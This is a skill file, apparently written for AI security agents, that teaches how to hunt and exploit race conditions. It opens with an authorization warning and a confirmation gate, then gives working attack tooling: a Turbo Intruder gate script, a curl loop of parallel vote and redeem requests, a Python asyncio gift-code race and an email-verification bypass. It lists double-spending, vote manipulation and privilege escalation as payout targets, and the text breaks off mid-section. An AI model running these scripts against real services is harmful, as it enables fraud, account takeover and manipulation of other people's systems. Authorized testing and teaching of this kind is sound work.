hunt-race-condition – skill Bảo mật cho agent AI

> ⚠️ AUTHORIZED USE ONLY

> This skill is for educational purposes or authorized security assessments only.

> You must have explicit, written permission from the system owner before using this tool.

> Misuse of this tool is illegal and strictly prohibited.

> Mandatory confirmation gate

> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

> 1. Ask the user to state the exact target URL, IP, account, or resource.

> 2. Ask the user to confirm written authorization and the permitted scope.

> 3. Show the exact command(s) and explain their expected effect.

> 4. Wait for explicit confirmation in the current conversation.

>

> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

Firing a race — two primitives (tooling-agnostic)

Winning a race needs requests that arrive in the *same* narrow window — sequential sends may miss a narrow window. Use a single-packet / synchronized-send tool: Burp Repeater "Send group in parallel"

(HTTP/2 single-packet attack), Turbo Intruder (engine=Engine.BURP2, gate sync), or any

client that can flush N requests simultaneously. Two shapes:

• Identical-copies race — fire N IDENTICAL copies of one request at once (limit-overrun:

double-spend a coupon/gift-card, exceed a one-per-user quota). Multiple 2xx responses are a lead only; verify duplicate committed state or side effects.

• Different-requests race (partial construction) — fire a LIST of DIFFERENT requests in one

synchronized window, repeated only within agreed request and reset limits. For register-then-confirm / TOCTOU races

where the object exists in a usable state mid-creation. Example (email-verification bypass —

register an arbitrary email, then confirm it through the construction window with a blank token):

  Request A:  POST /register   body: csrf=<csrf>&username=hacker&[email protected]&password=pw
  Request B:  GET  /confirm    params: token=   (empty)
  Fire A and B together, repeat ~20 rounds.
  

Get a fresh CSRF from GET /register first, then fire the batch. After a lab reproduction, verify access with a harmless read on a tester-owned account; do not delete users or perform unrelated privileged actions.

The blank-token confirm wins during the window where the user row exists but its verification

token isn't set yet.

Crown Jewel Targets

Race conditions can vary in severity depending on whether they break financial, access control, and integrity assumptions that defenders rarely stress-test. Highest payouts come from:

• Monetary/credit systems — double-spending gift cards, coupons, referral bonuses, promotional credits, wallet balances
• Vote/reputation manipulation — upvoting the same content multiple times, gaming leaderboards or trending algorithms
• Account limits bypass — exceeding free-tier quotas, bypassing "one per user" restrictions on invites, trial activations, or API key generation
• Privilege escalation — racing role assignment or permission checks during user creation/upgrade flows
• Deletion bypass — reading or exfiltrating data during a narrow window between "marked for deletion" and "actually deleted"
• Payment flows — charging a card once but receiving multiple fulfillments

Best-paying asset types: Fintech apps, SaaS platforms with credit/subscription models, social platforms with reputation systems, e-commerce checkout flows, OAuth/SSO token endpoints.

---

Attack Surface Signals

URL Patterns

/vote, /upvote, /like, /favorite
/redeem, /apply-coupon, /use-code, /claim
/purchase, /checkout, /confirm-order, /pay
/transfer, /withdraw, /send-money
/invite, /referral, /accept-invite
/upgrade, /activate, /trial
/delete, /deactivate, /cancel
/follow, /subscribe

Response Headers That Signal Race-Prone Backends

X-RateLimit-*        # rate limiting exists, but may not be atomic
X-Request-Id         # tracing metadata, not evidence of a race
No Cache-Control     # not evidence of atomicity or idempotency

JavaScript Patterns to Grep

// Single-use action buttons with client-side disable
button.disabled = true
$('#btn').prop('disabled', true)
// Optimistic UI updates (state set before server confirms)
setState({ used: true })
// Sequential async calls without locking
await useVoucher(); await deductBalance();

Tech Stack Signals

• Ruby on Rails without with_lock / lock! — ActiveRecord doesn't lock by default
• Node.js with async/await chains — non-atomic DB reads then writes
• PHP without SELECT ... FOR UPDATE — common in legacy codebases
• Microservices — inter-service calls introduce natural TOCTOU windows
• Redis counters without Lua scripts or INCR atomicity checks
• Message queues — idempotency keys often missing

---

Step-by-Step Hunting Methodology

1. Enumerate one-time or limited-use actions — Map every endpoint that enforces a "once per user", "limited quantity", or "deduct balance" constraint. These are your primary targets.

2. Understand the state machine — For each target action, identify: (a) what state is read, (b) what state is written, (c) what validation sits between read and write. The gap between read and write is your window.

3. Capture a clean baseline request — Perform the action once legitimately with Burp Suite intercepting. Confirm you get the expected single-use behavior (e.g., coupon marked used, vote counted once).

4. Set up parallel request tooling — Use one of:

• Burp Suite Repeater → "Send group in parallel" (Turbo Intruder for HTTP/2 single-packet attacks)
• Turbo Intruder with engine=Engine.BURP2 for last-byte sync
• curl with & backgrounding
• Python threading or asyncio with pre-built connections

5. Execute the race — Start with two requests in a controlled lab, increasing only within explicitly approved limits. Key technique: pre-connect and buffer all requests, release the final byte of all simultaneously (single-packet attack when HTTP/2 is available).

6. Analyze responses — Look for:

• Multiple 200 OK where only one should succeed
• Duplicate success messages
• Database constraint errors (signals the race worked but hit the last-line-of-defense)
• Inconsistent response times (one fast, rest slow = serialized; all same speed = parallel processing)

7. Verify the effect — Check the actual state: Was the credit applied twice? Did the vote count increment multiple times? Is the coupon still marked unused despite two successes?

8. Determine exploitability window — Re-run with decreasing parallelism (5 requests, 3 requests, 2 requests) to understand how tight the window is and reliability of exploitation.

9. Test across account types — Sometimes the race only works for new accounts, specific subscription tiers, or under specific server load. Test varied conditions.

10. Document reproducibility — Record exact timing, number of parallel requests needed, and success rate across 5 independent attempts before reporting.

---

Payload & Detection Patterns

Turbo Intruder — Basic Parallel Race

# turbo_intruder_race.py
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           engine=Engine.BURP2)  # HTTP/2 single-packet
    for i in range(20):
        engine.queue(target.req, gate='race1')
    engine.openGate('race1')

def handleResponse(req, interesting):
    if req.status == 200:
        table.add(req)

curl — Parallel Requests (bash)

# Fire 15 simultaneous vote/redeem requests
for i in $(seq 1 15); do
  curl -s -o /dev/null -w "%{http_code}\n" \
    -X POST "https://target.com/api/vote" \
    -H "Cookie: session=YOUR_SESSION" \
    -H "Content-Type: application/json" \
    -d '{"report_id": "12345", "vote": "up"}' &
done
wait

Python asyncio Race

import asyncio, aiohttp

async def race_request(session, url, payload, headers):
    async with session.post(url, json=payload, headers=headers) as r:
        return await r.text()

async def main():
    url = "https://target.com/redeem"
    payload = {"code": "GIFT50"}
    headers = {"Cookie": "session=XXXXX"}
    
    async with aiohttp.ClientSession() as session:
        tasks = [race_request(session, url, payload, headers) for _ in range(20)]
        results = await asyncio.gather(*tasks)
    
    for r in results:
        print(r[:100])  # print first 100 chars of each response

asyncio.run(main())

Grep Patterns for Source Code Auditing

# Look for read-then-write without locking
grep -rn "find_by\|where.*first" --include="*.rb" | grep -v "lock"
grep -rn "SELECT.*WHERE" --include="*.php" | grep -v "FOR UPDATE"

# JavaScript async without atomic

… (nội dung đầy đủ có trong gói tải về)